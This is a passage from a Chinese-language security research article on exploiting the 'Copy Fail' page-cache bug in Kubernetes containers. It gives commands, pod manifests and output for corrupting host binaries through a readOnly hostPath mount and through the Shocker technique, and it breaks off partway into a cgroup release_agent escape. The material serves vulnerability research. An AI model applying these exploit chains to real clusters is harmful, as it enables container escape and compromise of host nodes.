将攻击者镜像构建为</span><code><span leaf="">FROM registry.k8s.io/kube-proxy:v1.35.2</span></code><span leaf="">，从而确定性地与 kube-proxy 共享包含</span><code><span leaf="">ipset</span></code><span leaf="">的 image layer。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1qmn" style="font-size: 15px;"><span leaf="">寻找利用目标：节点上的层共享分析</span></span></h4><p><span mpa-font-style="mp0kvm4vrjk" style="font-size: 15px;"><span leaf="">PoC 中</span><code><span leaf="">FROM</span></code><span leaf="">目标镜像的做法是为了确定性地复现漏洞利用。如果要评估真实环境中的暴露面——即一个普通业务 Pod 是否天然与同节点的特权 DaemonSet 共享 image layer——可以在节点上进行如下分析：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1l20"><span leaf=""><span class="code-snippet__comment"># 1. 列出节点上所有 privileged 容器及其镜像</span></span><span leaf=""><br/></span><span leaf="">crictl ps -o json | jq -r <span class="code-snippet__string">&#39;.containers[] | &#34;\(.id) \(.image.image) \(.metadata.name)&#34;&#39;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 2. 对比业务 Pod 镜像与目标 DaemonSet 镜像的 layer digest</span></span><span leaf=""><br/></span><span leaf="">MY_IMAGE=<span class="code-snippet__string">&#34;python:3.11-slim&#34;</span></span><span leaf=""><br/></span><span leaf="">TARGET_IMAGE=<span class="code-snippet__string">&#34;registry.k8s.io/kube-proxy:v1.35.2&#34;</span></span><span leaf=""><br/></span><span leaf="">crictl inspecti <span class="code-snippet__variable">$MY_IMAGE</span> | jq -r <span class="code-snippet__string">&#39;.info.imageSpec.rootfs.diff_ids[]&#39;</span> &gt; /tmp/my_layers.txt</span><span leaf=""><br/></span><span leaf="">crictl inspecti <span class="code-snippet__variable">$TARGET_IMAGE</span> | jq -r <span class="code-snippet__string">&#39;.info.imageSpec.rootfs.diff_ids[]&#39;</span> &gt; /tmp/target_layers.txt</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">comm</span> -12 &lt;(<span class="code-snippet__built_in">sort</span> /tmp/my_layers.txt) &lt;(<span class="code-snippet__built_in">sort</span> /tmp/target_layers.txt)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 有输出 → 存在共享层</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 3. 确认目标文件的 inode 是否真的被两个容器共享</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># (在两个容器内分别执行)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">stat</span> -c <span class="code-snippet__string">&#39;%d:%i&#39;</span> /usr/sbin/ipset    <span class="code-snippet__comment"># 设备号:inode号</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 两个容器输出相同 → page cache 共享确认</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v1peu" style="font-size: 15px;"><span leaf="">如果共享的是基础库（如</span><code><span leaf="">ld-linux-x86-64.so.2</span></code><span leaf="">、</span><code><span leaf="">libc.so.6</span></code><span leaf="">），理论上攻击面更大——任何二进制执行时都会加载这些库，无需等待特定二进制被调用。但实际操作中，替换整个</span><code><span leaf="">.so</span></code><span leaf="">文件需要对每个 4 字节窗口逐一覆写，耗时较长；且覆写过程中如果有进程正在加载该</span><code><span leaf="">.so</span></code><span leaf="">，极易导致进程崩溃。</span></span></p><p><span mpa-font-style="mp0kvm4v1peu" style="font-size: 15px;"><span leaf="">核心共享库被大量进程依赖，这一问题尤为突出——篡改</span><code><span leaf="">libc.so.6</span></code><span leaf="">的结果大概率是节点上的容器大面积崩溃（DoS），而非稳定获取代码执行权限。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vsf2" style="font-size: 15px;"><span leaf="">真实攻击场景中的挑战</span></span></h4><p><span mpa-font-style="mp0kvm4v1err" style="font-size: 15px;"><span leaf="">上述分析需要节点级权限（</span><code><span leaf="">crictl</span></code><span leaf="">、直接访问 containerd 存储）。而在真实攻击场景中，攻击者通过 RCE 拿到的只是一个普通 Pod 的 shell——</span><strong><span leaf="">无法直接查看同节点上还运行着哪些容器、它们使用了哪些镜像、layer digest 是否一致</span></strong><span leaf="">。这意味着攻击者无法在目标环境中直接完成上述分析，只能进行推测和盲目尝试。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v1dk8" style="font-size: 15px;">但盲目在目标环境中逐个文件尝试 Copy Fail 并不明智——每次 4 字节覆写都是不可逆的（除非管理员主动 drop cache），一旦猜错目标文件或层共享关系不成立，只会在受陷容器自身留下损坏的二进制。轻则暴露攻击痕迹，重则直接导致容器崩溃、丢失已获取的立足点——本质上是一种两败俱伤的做法。</span></p><p><span mpa-font-style="mp0kvm4v190w" style="font-size: 15px;"><span leaf="">因此，预测该漏洞在容器场景中更现实的利用方式是</span><strong><span leaf="">针对特定业务环境的定向攻击</span></strong><span leaf="">：攻击者通过已入侵容器中运行的业务即可识别出该业务是什么应用（Web 框架、中间件版本、base image 类型等）。</span></span></p><p><span mpa-font-style="mp0kvm4v190w" style="font-size: 15px;"><span leaf="">如果该业务使用的是通用的公开镜像或常见技术栈，攻击者可以在本地复现相同的部署环境（相同镜像 + 相同 K8s 发行版），进行白盒分析——寻找特权容器、确认 layer 共享关系、定位可利用的共享文件、调试 payload——然后带着确定性的利用方案回到目标环境中一次性执行。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1mv7" style="font-size: 15px;"><span leaf="">6.3 能否直接逃逸到宿主机？</span></span></h3><p><span mpa-font-style="mp0kvm4vd0j" style="font-size: 15px;"><span leaf="">上一节讨论的是&#34;跨容器&#34;提权——通过篡改特权 DaemonSet 中的二进制间接获取节点权限。但这依赖于层共享和目标容器的后续执行。一个更激进的问题是：</span><strong><span leaf="">能否跳过中间容器，直接让宿主机进程执行被篡改的 page cache 数据？</span></strong></span></p><p><span mpa-font-style="mp0kvm4vccg" style="font-size: 15px;"><span leaf="">Copy Fail 能篡改任意文件的 page cache，但仅篡改数据是不够的——还需要宿主机上的进程在其自身的特权上下文中</span><strong><span leaf="">加载并执行</span></strong><span leaf="">这些被篡改的数据。单纯的</span><code><span leaf="">read()</span></code><span leaf="">不构成逃逸；只有当读取的数据被作为代码执行（如</span><code><span leaf="">execve()</span></code><span leaf="">、</span><code><span leaf="">dlopen()</span></code><span leaf="">、解析后跳转）时，才能转化为代码执行。</span></span></p><p><span mpa-font-style="mp0kvm4vic" style="font-size: 15px;"><span leaf="">但首先需要回答一个更基本的问题：</span><strong><span leaf="">如果宿主机进程确实访问了某个文件，它加载的是磁盘上的原始内容还是 page cache 中被篡改的数据？</span></strong></span></p><p><span mpa-font-style="mp0kvm4v1nrb" style="font-size: 15px;"><span leaf="">答案是后者。Page cache 是内核为所有文件 I/O 设置的全局透明缓存层。无论是</span><code><span leaf="">read()</span></code><span leaf="">还是</span><code><span leaf="">execve()</span></code><span leaf="">，内核加载文件内容的路径都经过 page cache（通过</span><code><span leaf="">filemap_read</span></code><span leaf="">/ readahead）。如果某个 inode 对应的页面已在 page cache 中，内核直接返回缓存数据，不会重新读取磁盘——这一行为与访问者处于哪个 namespace 无关。</span></span></p><p><span mpa-font-style="mp0kvm4v6g" style="font-size: 15px;"><span leaf="">Section 6.1 中的实验提供了直接证据。容器内通过 Copy Fail 篡改</span><code><span leaf="">/etc/os-release</span></code><span leaf="">的 page cache 后：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1sh7"><span leaf=""><span class="code-snippet__comment"># 宿主机通过 snapshot 路径读取同一 inode — 读到篡改后的数据</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">head</span> -c 16 /var/lib/containerd/.../snapshots/&lt;<span class="code-snippet__built_in">id</span>&gt;/fs/etc/os-release | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: dead beef 5459 5f4e 414d 453d 2244 6562  ....TY_NAME=&#34;Deb</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># drop_caches 强制驱逐 page cache — 内核从磁盘重新加载</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">head</span> -c 16 /var/lib/containerd/.../snapshots/&lt;<span class="code-snippet__built_in">id</span>&gt;/fs/etc/os-release | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562  PRETTY_NAME=&#34;Deb</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vsjh" style="font-size: 15px;"><span leaf="">drop_caches 前后的对比清楚地表明：宿主机读取到的是 page cache 内容而非磁盘数据。对于</span><code><span leaf="">execve()</span></code><span leaf="">也是同样的机制——后续 Section 6.4 中的 hostPath 实验将直接验证这一点：容器篡改</span><code><span leaf="">/usr/bin/ls</span></code><span leaf="">的 page cache 后，宿主机执行</span><code><span leaf="">ls</span></code><span leaf="">返回</span><code><span leaf="">exit 126</span></code><span leaf="">（</span><code><span leaf="">exec format error</span></code><span leaf="">），证明内核在</span><code><span leaf="">execve()</span></code><span leaf="">时同样从 page cache 加载了被篡改的 ELF header，而非从磁盘读取原始文件。</span></span></p><p><span mpa-font-style="mp0kvm4voih" style="font-size: 15px;"><span leaf="">因此，page cache 篡改对宿主机确实是全局可见的，对</span><code><span leaf="">read()</span></code><span leaf="">和</span><code><span leaf="">execve()</span></code><span leaf="">同样生效。真正的问题在于：</span><strong><span leaf="">在标准容器运行流程中，宿主机进程是否会主动访问容器 snapshot 层中的文件 inode？</span></strong><span leaf="">可以想到两类候选场景：</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><strong mpa-font-style="mp0kvm4v15da" style="font-size: 15px;"><span leaf="">容器运行时（containerd + runc）</span></strong><p><span mpa-font-style="mp0kvm4vu80" style="font-size: 15px;"><span leaf="">在容器创建/启动过程中是否会在宿主机上下文中</span><code><span leaf="">execve()</span></code><span leaf="">或</span><code><span leaf="">dlopen()</span></code><span leaf="">snapshot 层中的文件？</span></span></p></li><li><strong mpa-font-style="mp0kvm4v24ht" style="font-size: 15px;"><span leaf="">宿主机上的其他工具</span></strong><p><span mpa-font-style="mp0kvm4voo7" style="font-size: 15px;"><span leaf="">（如 EDR、合规扫描）是否会执行容器层中的二进制、加载其</span><code><span leaf="">.so</span></code><span leaf="">、或解释执行其脚本？</span></span></p></li></ul><p><span mpa-font-style="mp0kvm4v22ma" style="font-size: 15px;"><span leaf="">针对场景 1，通过</span><code><span leaf="">bpftrace</span></code><span leaf="">追踪容器启动时 runc 和 containerd 的行为：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v8bt"><span leaf=""># 追踪 runc <span class="code-snippet__keyword">init</span> 进程读取文件时的 mount namespace</span><span leaf=""><br/></span><span leaf="">bpftrace </span><span leaf="">-</span><span leaf="">e &#39;</span><span leaf=""><br/></span><span leaf="">kprobe:vfs_read </span><span leaf="">/</span><span leaf="">comm </span><span leaf="">==</span><span leaf=""><span class="code-snippet__string">&#34;runc:[2:INIT]&#34;</span></span><span leaf="">/</span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">$task</span> </span><span leaf="">=</span><span leaf=""> (<span class="code-snippet__keyword">struct</span> task_struct </span><span leaf="">*</span><span leaf="">)curtask;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">$mntns</span> </span><span leaf="">=</span><span leaf=""><span class="code-snippet__variable">$task</span>-&gt;nsproxy-&gt;mnt_ns-&gt;ns.inum;</span><span leaf=""><br/></span><span leaf="">    printf(<span class="code-snippet__string">&#34;runc-init vfs_read mntns=%u file=%s</span></span><span leaf=""><span class="code-snippet__string">\n</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">$mntns</span>, str(((<span class="code-snippet__keyword">struct</span> file </span><span leaf="">*</span><span leaf="">)arg0)-&gt;f_path.dentry-&gt;d_name.name));</span><span leaf=""><br/></span><span leaf="">}&#39; </span><span leaf="">&amp;</span><span leaf=""><br/></span><span leaf=""># 触发容器创建</span><span leaf=""><br/></span><span leaf="">kubectl run test</span><span leaf="">-</span><span leaf="">probe </span><span leaf="">--</span><span leaf="">image</span><span leaf="">=</span><span leaf="">python:<span class="code-snippet__number">3.11</span></span><span leaf="">-</span><span leaf="">slim </span><span leaf="">--</span><span leaf="">restart</span><span leaf="">=</span><span leaf="">Never</span><span leaf="">--</span><span leaf=""> sleep <span class="code-snippet__number">10</span></span><span leaf=""><br/></span><span leaf=""># 输出:</span><span leaf=""><br/></span><span leaf=""># runc</span><span leaf="">-</span><span leaf=""><span class="code-snippet__keyword">init</span> vfs_read mntns</span><span leaf="">=</span><span leaf=""><span class="code-snippet__number">4026533841</span> file</span><span leaf="">=</span><span leaf="">passwd</span><span leaf=""><br/></span><span leaf=""># runc</span><span leaf="">-</span><span leaf=""><span class="code-snippet__keyword">init</span> vfs_read mntns</span><span leaf="">=</span><span leaf=""><span class="code-snippet__number">4026533841</span> file</span><span leaf="">=</span><span leaf="">group</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">↑</span><span leaf=""> mntns </span><span leaf="">≠</span><span leaf=""> 宿主机(<span class="code-snippet__number">4026531840</span>), 说明已在容器 namespace 内</span></code></pre></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vtdb"><span leaf=""><span class="code-snippet__comment"># 追踪 containerd 进程的 vfs_read</span></span><span leaf=""><br/></span><span leaf="">bpftrace -e &#39;</span><span leaf=""><br/></span><span leaf="">kprobe:vfs_read /comm == &#34;containerd&#34;/ {</span><span leaf=""><br/></span><span leaf="">    printf(<span class="code-snippet__string">&#34;containerd vfs_read: %s\n&#34;</span>,</span><span leaf=""><br/></span><span leaf="">           str(((struct file *)arg0)-&gt;f_path.dentry-&gt;d_name.name));</span><span leaf=""><br/></span><span leaf="">}&#39; -- 60   <span class="code-snippet__comment"># 监控 60 秒, 期间创建/删除容器</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 结果: 仅看到 config.json, meta.db 等元数据文件</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 从未读取 snapshot 层的 /bin/*, /etc/* 等文件内容</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v209u" style="font-size: 15px;"><span leaf="">containerd 自身的追踪结果也印证了这一点——它只操作元数据（</span><code><span leaf="">config.json</span></code><span leaf="">、</span><code><span leaf="">meta.db</span></code><span leaf="">），不会读取更不会执行 snapshot 层中的用户文件。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v1eon" style="font-size: 15px;">对于场景 2（宿主机工具），这不属于通用场景——是否存在这类行为取决于具体业务环境中节点上部署了什么软件，不具备普遍性，因此不在此做针对性测试。但也不排除某些特定环境下存在宿主机进程会执行容器层文件的情况。</span></p><p><span mpa-font-style="mp0kvm4v121s" style="font-size: 15px;"><span leaf="">结论：在标准 Kubernetes (containerd) 环境下，</span><strong><span leaf="">通用的零特权容器→宿主机直接逃逸在架构层面不可行</span></strong><span leaf="">。容器运行时的设计确保了：runc 对容器 rootfs 的操作发生在已切换的 mount namespace 中，containerd 不接触 snapshot 层的用户数据。但如果节点上存在非标准的宿主机服务会从容器层路径加载并执行文件，则可能构成特定环境下的逃逸向量。Docker 环境存在架构层面的差异，将在 Section 6.5 中单独讨论。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1pxq" style="font-size: 15px;"><span leaf="">6.4 特权配置与容器逃逸</span></span></h3><p><span leaf="" mpa-font-style="mp0kvm4v1xwn" style="font-size: 15px;">虽然零特权逃逸不可行，但如果容器拥有某些特权配置，Copy Fail 就能作为关键的&#34;最后一块拼图&#34;实现容器逃逸。以下是对多种特权配置的系统性验证：</span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v6se" style="font-size: 15px;"><span leaf="">hostPath (readOnly: true) + Copy Fail → 绕过只读限制</span></span></h4><p><span mpa-font-style="mp0kvm4v1jhi" style="font-size: 15px;"><span leaf="">Kubernetes 中</span><code><span leaf="">hostPath</span></code><span leaf="">volume 常被配置为</span><code><span leaf="">readOnly: true</span></code><span leaf="">以限制容器对宿主机文件的修改。但 Copy Fail 通过 page cache 绕过了这一限制：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1ikd"><span leaf=""><span class="code-snippet__comment"># Pod 配置 (见 Gist: pod-hostpath-escape.yaml)</span></span><span leaf=""><br/></span><span leaf="">volumes:</span><span leaf=""><br/></span><span leaf="">-</span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">host-bin</span></span><span leaf=""><br/></span><span leaf="">hostPath:</span><span leaf=""><br/></span><span leaf="">path:</span><span leaf=""><span class="code-snippet__string">/usr/bin</span></span><span leaf=""><br/></span><span leaf="">type:</span><span leaf=""><span class="code-snippet__string">Directory</span></span><span leaf=""><br/></span><span leaf="">volumeMounts:</span><span leaf=""><br/></span><span leaf="">-</span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">host-bin</span></span><span leaf=""><br/></span><span leaf="">mountPath:</span><span leaf=""><span class="code-snippet__string">/hostbin</span></span><span leaf=""><br/></span><span leaf="">readOnly:</span><span leaf=""><span class="code-snippet__literal">true</span>    <span class="code-snippet__comment"># ← 看似安全</span></span></code></pre></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v20n3"><span leaf=""><span class="code-snippet__comment"># 确认 mount 确实是只读</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab hostpath-test -- mount | grep hostbin</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># /dev/mapper/cl-root on /hostbin type xfs (ro,relatime,...)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 常规写入被拒绝</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab hostpath-test -- <span class="code-snippet__built_in">touch</span> /hostbin/test</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># touch: cannot touch &#39;/hostbin/test&#39;: Read-only file system</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Copy Fail 绕过只读限制!</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab hostpath-test -- python3 /poc_marker.py /hostbin/ls</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Before: 7f454c46</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] After:  deadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] SUCCESS: page cache corrupted!</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 宿主机验证</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ls</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># bash: /usr/bin/ls: cannot execute binary file: Exec format error</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Exit code: 126</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vw02" style="font-size: 15px;"><span leaf="">这是 Copy Fail 最独特的价值：</span><strong><span leaf="">将 O_RDONLY 文件描述符变为可写攻击面</span></strong><span leaf="">。传统认知中，readOnly mount 至少能防止文件被篡改——Copy Fail 打破了这个假设。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1ytc" style="font-size: 15px;"><span leaf="">CAP_DAC_READ_SEARCH + Copy Fail → Shocker 升级版</span></span></h4><p><span mpa-font-style="mp0kvm4v22qc" style="font-size: 15px;"><code><span leaf="">CAP_DAC_READ_SEARCH</span></code><span leaf="">capability 允许进程绕过文件和目录的读权限检查。经典的 Shocker 攻击利用</span><code><span leaf="">open_by_handle_at()</span></code><span leaf="">系统调用配合这个 capability 获取宿主机文件系统的 fd。但 Shocker 原本只能</span><strong><span leaf="">读取</span></strong><span leaf="">宿主机文件。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4vssd" style="font-size: 15px;">结合 Copy Fail，攻击链变为：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1458"><span leaf=""><span class="code-snippet__comment"># 部署带 CAP_DAC_READ_SEARCH 的容器</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">kubectl</span> <span class="code-snippet__string">apply</span> <span class="code-snippet__string">-f</span> </span><span leaf="">-</span><span leaf=""><span class="code-snippet__string">&lt;&lt;EOF</span></span><span leaf=""><br/></span><span leaf="">apiVersion:</span><span leaf=""><span class="code-snippet__string">v1</span></span><span leaf=""><br/></span><span leaf="">kind:</span><span leaf=""><span class="code-snippet__string">Pod</span></span><span leaf=""><br/></span><span leaf="">metadata:</span><span leaf=""><br/></span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">shocker-test</span></span><span leaf=""><br/></span><span leaf="">namespace:</span><span leaf=""><span class="code-snippet__string">copyfail-lab</span></span><span leaf=""><br/></span><span leaf="">spec:</span><span leaf=""><br/></span><span leaf="">containers:</span><span leaf=""><br/></span><span leaf="">-</span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">test</span></span><span leaf=""><br/></span><span leaf="">image:</span><span leaf=""><span class="code-snippet__string">python:3.11-slim</span></span><span leaf=""><br/></span><span leaf="">command:</span><span leaf=""> [<span class="code-snippet__string">&#34;sleep&#34;</span>, <span class="code-snippet__string">&#34;infinity&#34;</span>]</span><span leaf=""><br/></span><span leaf="">securityContext:</span><span leaf=""><br/></span><span leaf="">capabilities:</span><span leaf=""><br/></span><span leaf="">add:</span><span leaf=""> [<span class="code-snippet__string">&#34;DAC_READ_SEARCH&#34;</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">EOF</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v21nu" style="font-size: 15px;">攻击过程（容器内执行 Python）：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vc9f"><span leaf="">kubectl exec -n copyfail-lab shocker-test -- python3 -c &#34;</span><span leaf=""><br/></span><span leaf="">import os, struct, ctypes</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">1. Shocker: open_by_handle_at() 获取宿主机根目录 fd</span><span leaf=""><br/></span><span leaf="">libc = ctypes.CDLL(&#39;libc.so.6&#39;, use_errno=True)</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">... (构造 root inode handle, 调用 open_by_handle_at)</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">2. openat() 打开宿主机 /usr/bin/cat (只读即可)</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">3. Copy Fail 篡改 page cache</span><span leaf=""><br/></span><span leaf="">&#34;</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">实验输出:</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[1] Host root fd: 4</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[+] Host / contents: [<span class="code-snippet__string">&#39;.autorelabel&#39;</span>, <span class="code-snippet__string">&#39;bin&#39;</span>, <span class="code-snippet__string">&#39;boot&#39;</span>, <span class="code-snippet__string">&#39;dev&#39;</span>, <span class="code-snippet__string">&#39;etc&#39;</span>, ...]</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[2] Host /usr/bin/cat fd: 7</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[3] Before: 7f454c46020101000000000000000000</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[4] After:  deadbeef020101000000000000000000</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[+] SUCCESS: Host /usr/bin/cat corrupted via Shocker + Copy Fail!</span></code></pre></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v9o5" style="font-size: 15px;"><span leaf="">CAP_SYS_ADMIN + Copy Fail → cgroup release_agent 逃逸</span></span></h4><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vg5x"><span leaf=""><span class="code-snippet__comment"># 部署带 CAP_SYS_ADMIN 的容器</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">kubectl</span> <span class="code-snippet__string">apply</span> <span class="code-snippet__string">-f</span> </span><span leaf="">-</span><span leaf=""><span class="code-snippet__string">&lt;&lt;EOF</span></span><span leaf=""><br/></span><span leaf="">apiVersion:</span><span leaf=""><span class="code-snippet__string">v1</span></span><span leaf=""><br/></span><span leaf="">kind:</span><span leaf=""><span class="code-snippet__string">Pod</span></span><span leaf=""><br/></span><span leaf="">metadata:</span><span leaf=""><br/></span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">sysadmin-test</span></span><span leaf=""><br/></span><span leaf="">namespace:</span><span leaf=""><span class="code-snippet__string">copyfail-lab</span></span><span leaf=""><br/></span><span leaf="">spec:</span><span leaf=""><br/></span><span leaf="">containers:</span><span leaf=""><br/></span><span leaf="">-</span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">test</span></span><span leaf=""><br/></span><span leaf="">image:</span><span leaf=""><span class="code-snippet__string">python:3.11-slim</span></span><span leaf=""><br/></span><span leaf="">command:</span><span leaf=""> [<span class="code-snippet__string">&#34;sleep&#34;</span>, <span class="code-snippet__string">&#34;infinity&#34;</span>]</span><span leaf=""><br/></span><span leaf="">securityContext:</span><span leaf=""><br/></span><span leaf="">capabilities:</span><span leaf=""><br/></span><span leaf="">add:</span><span leaf=""> [<span class="code-snippet__string">&#34;SYS_ADMIN&#34;</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">EOF</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v1a6v" style="font-size: 15px;">容器内利用 cgroup v1 release_agent：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vijh"><span leaf="">kubectl exec -n copyfail-lab sysadmin-test -- bash -c &#39;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 挂载 cgroup 子系统</span></span><span leaf=""><br/></span><span leaf="">mkdir /tmp/cgrp &amp;&amp; mount -t cgroup -o rdma cgroup /tmp/cgrp</span><span leaf=""><br/></span><span leaf="">mkdir /tmp/cgrp/x</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 确认 release_agent 